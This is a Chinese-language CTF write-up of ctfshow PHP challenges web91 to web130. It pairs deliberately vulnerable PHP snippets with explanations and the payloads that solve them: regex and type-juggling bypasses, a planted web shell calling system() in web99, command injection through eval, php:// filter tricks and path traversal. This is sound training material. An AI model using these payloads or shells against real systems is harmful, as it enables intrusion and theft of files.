web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
preg_match
函数是正则表达式,参数
i
是不区分大小写,
m
是多行进行匹配
^
是从字符串开头进行匹配,
$
是从字符串末尾进行匹配。
preg_match('/^php$/im',$a)
的含义是,判断变量a中是否有字符串
php
,进行多行匹配,不区分大小写。
preg_match('/^php$/i',$a)
的含义是,单号匹配变量a中是否有字符串
php
所以使用换行进行绕过,
cmd=%0aphp
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
使用了
intval
函数 获取变量的整数值,
intval($value,base)
的含义解释:根据第二个参数进行数值获取,即转化所使用的进制。
如果 base 是 0,通过检测 value 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
所以,
intval($num,0)==4476
简单的说就是对十进制的
4476
进行十六进制转换
0x117c
,或者八进制转换
010574
,或者二进制转换
0b1 0001 0111 1100
num=0x117c
或者
num=010574
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
因为使用了
preg_match("/[a-z]/i", $num)
,含义是不能包括字母a-z,不分大小。
所以只能使用八进制进行转换。
num=010574
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
遇到了
strpos
函数,进行解释一下
strpos
函数的作用 — 查找字符串首次出现的位置
strpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
strpos("I love php, I love php too!","php")
输出结果为7
!strpos($num, "0")
的含义是避免
0
开头,若
0
开头,则返回结果为
0
,取反,结果为
1
。排除了结果
num=010574
再次查看
inval
函数
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
echo intval(false); // 0
echo intval(true); // 1
?>
使用小数进行绕过,
num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
使用
preg_match("/[a-z]|\./i", $num)
,过滤了字母
a-z
不区分大小写,还过滤了小数点
.
于是采用正数进行绕过,
num=+010574
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
对
highlight_file
函数进行解释.
highlight_file()
函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
highlight_file(filename,return)
参数 | 描述 |
---|---|
filename | 必需。规定要显示的文件。 |
return | 可选。如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。默认是 FALSE。 |
本题含义是,输出
flag.php
的内容,所以可以也可以是输出当前目录下的
flag.php
。
结果为:
num=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
传入两个参数,
a
和
b
,要求
a
和
b
的数值不同,但是经过
md5编码
后结果相同。
利用对象进行绕过,因为进行
md5编码
,只看对象,而不看对象的值
使用数组进行绕过,
a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
对
三目运算符
进行解释
(expr1)?(expr2):(expr3);
//表达式1?表达式2:表达式3
解释:如果条件
“expr1”
成立,则执行语句
“expr2”
,否则执行
“expr3”
。
$_GET?$_GET=&$_POST:'flag';
的含义:是否有
GET传参
,若有则将
POST传参
的内容覆盖掉
GET传参
的内容,若没有
GET传参
,则
GET传参
的内容为
flag
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
的含义:
GET传参
的变量
HTTP_FLAG
的值是否是
flag
,若是则结果为
$flag
所以,意思为
GET传参
随便写(比如,flag=1),
POST传参
为
HTTP_FLAG=flag
,存在
POST传参
,
GET传参
替换掉原来的值,改为
POST传参
的值
GET传参,
flag=1
POST传参,
HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
$allow = array();
//设置为数组
array_push()
函数 向数组尾部插入一个或多个元素。
array_push(array,value1,value2...)
参数 | 描述 |
---|---|
array | 必需。规定一个数组。 |
value1 | 必需。规定要添加的值。 |
value2 | 可选。规定要添加的值。 |
array_push($allow, rand(1,$i));
//向数组里面插入随机数
in_array()
函数 搜索数组中是否存在指定的值。
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 | 描述 |
---|---|
needle | 必需。规定要在数组搜索的值。 |
haystack | 必需。规定要搜索的数组。 |
strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
in_array()
函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents()
函数把一个字符串写入文件中。
详细信息查看下面链接
https://www.runoob.com/php/func-filesystem-file-put-contents.html
GET传参
?n=123.php
POST传参
content=<?php system($_GET['password']);?>
然后就是,
123.php/?password=system('ls');
123.php?password=system('nl flag36d.php');
然后查看源码,或者使用
cat
,
tac
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
is_numeric()
函数用于检测变量是否为数字或数字字符串。
更多信息查看下方链接
https://www.runoob.com/php/php-is_numeric-function.html
这里介绍一下
&&
和
and
逻辑运算符
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
?>
很明显,v1只要是数字就行
var_dump()
函数用于输出变量的相关信息。
v2是
var_dump($ctfshow)
而v3为
;
v1=1&v2=var_dump($ctfshow)&v3;
或者是
v1=1&v2=system('ls')&v3=;
v1=1&v2=system('tac ctfshow.php')&v3=;
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
这里用到了php反射类,
ReflectionClass 类报告了一个类的有关信息。
可以参考官方文档查看
https://www.php.net/manual/zh/class.reflectionclass.php
构造
v1=1&v2=echo new Reflectionclass&v3=;
并且注意得到的flag并不完整,缺少最后一位,可以进行爆破获取
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
substr()
函数 返回字符串的一部分。
substr(string,start,length)
string
规定要返回其中一部分的字符串。
start
必需。规定在字符串的何处开始。
length
可选。规定要返回的字符串长度。默认是直到字符串的结尾。
call_user_func
— 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
file_put_contents()
函数把一个字符串写入文件中
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php
v1=hex2bin
然后访问
2.php
,查看源码
115044383959474e6864434171594473
其中的开头
11
其填充作用,然后使用16进制转换文本在线工具得到base64编码的字符串
PD89YGNhdCAqYDs
然后再base64解码得到 *
<?=`cat
`;
hex2bin()
函数把十六进制值的字符串转换为 ASCII 字符。
补充一个知识,and和or
关于or,and的使用,查资料得知:and相当于then,or相当于else
举例来理解这两个关键字的使用:
比如:
$b or $a=1000;
他与下面这段代码是等价的:
if($b==true){}else{ $a=1000;}
$b and $a=1;
等价于:
if($b==true){ $a=1; }
$a and $b=1 or $c=1
等价于:
if ($a){ $b=1; }else{ $c=1; }
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
和上题的payload一样,只是多了一个正则表达式
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
额,使用了
sha1()
加密函数只要v1和v2的值相等就可得到flag
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
对于
foreach
函数,
foreach
语法结构提供了遍历数组的简单方式。
foreach
仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
第一种格式遍历给定的
iterable_expression
迭代器。每次循环中,当前单元的值被赋给
$value
。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量
$key
。
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
本题和web104,是一样的,补充了web104的不足,添加了
$v1!=$v2
v1=aaK1STfY
,
v2=aaO8zKZF
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str()
函数把查询字符串解析到变量中。
parse_str(string,array)
string
必需。规定要解析的字符串。
array
可选。规定存储变量的数组名称。该参数指示变量存储到数组中。
可以参考文档
https://www.runoob.com/php/func-string-parse-str.html
由
$v2['flag']
所得,
$v1
中必有
flag
,而且
flag
的值需要和
md5($v3)
的数值相等。
所以构造
v1=flag=0
,则需要
md5($v3)
的值也为0.
所以
v3=240610708
,
240610708
经
md5
编码后结果为
0e462097431906509019562988736854
,科学计数法,结果为0.
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg()
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回
true
,否则,则返回
false
。搜索字母的字符是大小写敏感的。
ereg
函数存在
NULL
截断漏洞,导致了正则过滤被绕过,所以可以使用
%00
截断正则匹配
strrev()
函数反转字符串。
intval()
函数遇到非数字字符就会停止识别,
877a
识别为
877
构造
c=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
看到这里
echo new $v1($v2());
,想到
new Reflectionclass
反射
考点是Exception 异常处理类
这里通过异常处理类
Exception(system('cmd'))
可以运行指定代码,并且能返回运行的结果
构造
v1=Reflectionclass&v2=system('ls')
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
构造
v1=FilesystemIterator&v2=getcwd
,知识有限,后续学习之后再解释
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
$GLOBALS
— 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
由于
preg_match('/ctfshow/', $v1)
,所以
$v1
的值为
ctfshow
$v2
赋值为
GLOBALS
构造
v1=ctfshow&v2=GLOBALS
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file()
函数检查指定的文件是否是常规的文件。
如果文件是常规的文件,该函数返回
TRUE
。
大致题意,
! is_file($file)
结果得为
ture
,不能识别出是文件
得用
php伪协议
php://filter/resource=flag.php
不带任何过滤器的filter
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
可打印字符引用编码
compress.zlib://flag.php
压缩流
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
过滤了
filter
,构造
file=compress.zlib://flag.php
使用压缩流,也可以拿到
flag
。
查看了一下提示,使用了
/proc/self/root
,在
linux
中
/proc/self/root
是指向根目录的,也就是如果在命令行中输入
ls /proc/self/root
,其实显示的内容是根目录下的内容.
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
没有过滤
flag
、
filter
,直接构造
file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
判断是数字不能是36,
trim()
删除一些字符,最后
filter()
过滤掉进制,浮点数,e,+,然后
if($num=='36')
得到
flag
,可以测试出一些字符。
进行爆破
测试is_numeric
<?php
for ($i=0; $i <128 ; $i++) {
$s=chr($i).'1';
if(is_numeric($s)==true){
echo urlencode(chr($i))."\n";
}
}
?>
输出:%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .(点)
测试trim
<?php
for ($i=0; $i <=128 ; $i++) {
$s=chr($i).'1';
if(trim($s)!=='1' && is_numeric($s)){
echo urlencode(chr($i))."\n";
}
}
?>
输出:%0C、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9
除去被过滤的+ – . ,只剩下
%0c
,也就是换页符
\f
构造
num=%0c36
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
过滤了输出语句,还有
flag
构造POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[pw])
GET:
pw=flag.php
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
构造POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])
GET:
$fl0g=flag_give_me
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
构造GET:
ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
mixed call_user_func(回调 函数名 [,混合 参数 [,混合$ ...]])
调用用户定义函数来确定函数参数。
_()
是一个函数
_()==gettext()
是
gettext()
的拓展函数,开启text扩展。需要php扩展目录下有
php_gettext.dll
get_defined_vars()
函数,
get_defined_vars
— 返回由所有已定义变量所组成的数组
关于
gettext
函数参考下面链接
https://www.cnblogs.com/lost-1987/articles/3309693.html
构造:
f1=_&f2=get_defined_vars
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos()
函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
stripos(string,find,start)
string
必需。规定被搜索的字符串。
find
必需。规定要查找的字符。
start
可选。规定开始搜索的位置。
构造:
f=/ctfshow/../../../../var/www/html/flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这个正则只有在ctfshow前面至少有一个字符才匹配到,所以f直接等于ctfshow就可以
构造:
f=ctfshow